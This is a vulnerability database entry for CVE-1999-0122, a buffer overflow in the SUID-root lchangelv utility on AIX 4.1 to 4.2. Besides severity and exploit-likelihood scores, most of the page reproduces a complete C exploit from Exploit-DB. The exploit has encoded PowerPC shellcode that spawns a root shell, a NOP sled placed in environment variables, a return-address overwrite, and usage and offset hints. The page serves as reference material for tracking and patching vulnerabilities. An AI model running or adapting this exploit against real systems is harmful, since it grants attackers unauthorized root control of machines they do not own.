CVE-1999-0122 : Detail

CVE-1999-0122

0.04%V3
Local
1999-09-29
02h00 +00:00
2024-08-01
16h27 +00:00
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CVE Descriptions

Buffer overflow in AIX lchangelv gives root access.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 19309

Publication date : 1997-07-20 22h00 +00:00
Author : Bryan P. Self
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/389/info A buffer overflow can occur in lchangelv under some versions of AIX. Note that an attacker must already have the GID or EGID of 'system' to execute lchangelv. Because lchangelv is SUID root, this overflow will grant the attacker root privileges. */ /* * * /usr/sbin/lchangelv (kinda' coded) by BeastMaster V * * CREDITS: this is simply a modified version of an exploit * posted by Georgi Guninski ([email protected]) * * NOTES: you must have gid or egid of (system) to run this. * * USAGE: * $ cc -o foo -g aix_lchangelv.c * $ ./foo 5100 * # * * * HINT: Try giving ranges from 5090 through 5500 * * DISCLAIMER: use this program in a responsible manner. * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> extern int execv(); #define MAXBUF 600 unsigned int code[]={ 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c , 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 0x7c0903a6 , 0x4e800420, 0x0 }; char *createvar(char *name,char *value) { char *c; int l; l=strlen(name)+strlen(value)+4; if (! (c=malloc(l))) {perror("error allocating");exit(2);}; strcpy(c,name); strcat(c,"="); strcat(c,value); putenv(c); return c; } main(int argc,char **argv,char **env) { unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt; int min=100, max=280; unsigned int return_address; char *newenv[8]; char *args[4]; int offset=3200; if (argc==2) offset = atoi(argv[1]); pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt; *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff); *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff); *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff); *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff); return_address=(unsigned)&buf[0]+offset; for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82; strcpy((char*)&buf[nop],(char*)&code); i=nop+strlen( (char*) &code)/4-1; for(i=0;i<max-1;i++) frame[i]=return_address; frame[i]=0; newenv[0]=createvar("EGGSHEL",(char*)&buf[0]); newenv[1]=createvar("EGGSHE2",(char*)&buf[0]); newenv[2]=createvar("EGGSHE3",(char*)&buf[0]); newenv[3]=createvar("EGGSHE4",(char*)&buf[0]); newenv[4]=createvar("DISPLAY",getenv("DISPLAY")); newenv[5]=NULL; args[0]="lchangelv"; args[1]="-l"; args[2]=(char*)&frame[0]; execve("/usr/sbin/lchangelv",args,newenv); perror("Error executing execve \n"); }

Products Mentioned

Configuraton 0

Ibm>>Aix >> Version 4.1

Ibm>>Aix >> Version 4.1.1

Ibm>>Aix >> Version 4.1.2

Ibm>>Aix >> Version 4.1.3

Ibm>>Aix >> Version 4.1.4

Ibm>>Aix >> Version 4.1.5

Ibm>>Aix >> Version 4.2

References